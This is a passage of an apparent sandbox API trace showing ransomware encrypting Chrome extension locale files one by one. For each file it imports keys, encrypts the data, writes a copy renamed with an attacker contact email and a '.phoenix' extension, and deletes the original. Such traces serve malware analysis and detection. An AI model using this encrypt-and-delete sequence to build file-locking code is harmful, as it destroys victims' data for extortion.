	[0263.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.415] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.415] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.416] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0263.416] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.416] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x121, lpOverlapped=0x0) returned 1
	[0263.418] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130, dwBufLen=0x130 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130) returned 1
	[0263.418] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x130, lpOverlapped=0x0) returned 1
	[0263.419] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0263.419] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.419] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.419] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.419] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.420] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.420] CloseHandle (hObject=0x2c4) returned 1
	[0263.420] CloseHandle (hObject=0x2b0) returned 1
	[0263.420] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json")) returned 1
	[0263.421] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.421] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.422] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=230) returned 1
	[0263.422] CloseHandle (hObject=0x2b0) returned 1
	[0263.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json")) returned 0x20
	[0263.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.422] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.422] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.422] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.423] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0263.423] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.423] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe6, lpOverlapped=0x0) returned 1
	[0263.424] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0263.424] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0263.425] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0263.426] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.426] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.426] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.426] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.426] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.426] CloseHandle (hObject=0x2b0) returned 1
	[0263.426] CloseHandle (hObject=0x2c4) returned 1
	[0263.426] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json")) returned 1
	[0263.427] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.427] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.428] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=226) returned 1
	[0263.428] CloseHandle (hObject=0x2c4) returned 1
	[0263.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json")) returned 0x20
	[0263.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.428] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.428] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.428] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.428] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.429] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0263.429] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.429] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe2, lpOverlapped=0x0) returned 1
	[0263.430] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0263.430] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0263.431] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0263.431] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.431] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.431] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.431] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.432] CryptDestroyKey (hKey=0x151700) returned 1
	[0263.432] CloseHandle (hObject=0x2c4) returned 1
	[0263.432] CloseHandle (hObject=0x2b0) returned 1
	[0263.432] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json")) returned 1
	[0263.433] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.433] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.434] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=242) returned 1
	[0263.434] CloseHandle (hObject=0x2b0) returned 1
	[0263.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json")) returned 0x20
	[0263.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.434] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.434] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.434] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.434] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.435] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0263.435] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.435] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xf2, lpOverlapped=0x0) returned 1
	[0263.436] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0263.436] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0263.437] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0263.437] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.437] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.437] CryptDestroyKey (hKey=0x151140) returned 1
	[0263.437] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.437] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.437] CloseHandle (hObject=0x2b0) returned 1
	[0263.438] CloseHandle (hObject=0x2c4) returned 1
	[0263.441] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json")) returned 1
	[0263.443] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.443] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.443] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=256) returned 1
	[0263.443] CloseHandle (hObject=0x2c4) returned 1
	[0263.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json")) returned 0x20
	[0263.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.444] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.444] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.444] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.444] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.445] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0263.445] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.445] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x100, lpOverlapped=0x0) returned 1
	[0263.453] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0263.453] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0263.454] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0263.454] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
